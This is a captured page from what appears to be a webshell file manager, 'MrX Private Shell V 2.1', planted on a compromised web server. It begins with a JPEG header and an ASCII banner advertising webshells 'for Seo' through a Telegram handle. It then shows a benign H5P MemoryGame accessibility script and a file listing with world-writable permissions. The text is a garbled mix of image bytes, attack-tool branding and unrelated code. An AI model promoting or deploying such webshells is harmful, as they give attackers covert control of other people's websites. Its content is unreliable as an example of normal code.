����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
(function (MemoryGame) {
/**
* Aria live region for reading to screen reader.
*
* @class H5P.MemoryGame.Popup
*/
MemoryGame.AriaLiveRegion = function () {
let readText, timeout = null;
// Build dom with defaults
const dom = document.createElement('div');
dom.classList.add('h5p-memory-aria-live-region');
dom.setAttribute('aria-live', 'polite');
dom.style.height = '1px';
dom.style.overflow = 'hidden';
dom.style.position = 'absolute';
dom.style.textIndent = '1px';
dom.style.top = '-1px';
dom.style.width = '1px';
/**
* Get DOM of aria live region.
*
* @returns {HTMLElement} DOM of aria live region.
*/
this.getDOM = function () {
return dom;
}
/**
* Set class if default CSS values do not suffice.
*
* @param {string} className Class name to set. Add CSS elsewhere.
*/
this.setClass = function(className) {
if (typeof className !== 'string') {
return;
}
// Remove default values
dom.style.height = '';
dom.style.overflow = '';
dom.style.position = '';
dom.style.textIndent = '';
dom.style.top = '';
dom.style.width = '';
dom.classList = className;
}
/**
* Read text via aria live region.
*
* @param {string} text Text to read.
*/
this.read = function (text) {
if (readText) {
const lastChar = readText
.substring(readText.length - 1);
readText =
[`${readText}${lastChar === '.' ? '' : '.'}`, text]
.join(' ');
}
else {
readText = text;
}
dom.innerText = readText;
window.clearTimeout(timeout);
timeout = window.setTimeout(function () {
readText = null;
dom.innerText = '';
}, 100);
}
}
})(H5P.MemoryGame);
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 7affd36301cfe8c9a68102cdca10d6e18f079ad0 | File | 1.83 KB | 0666 |
|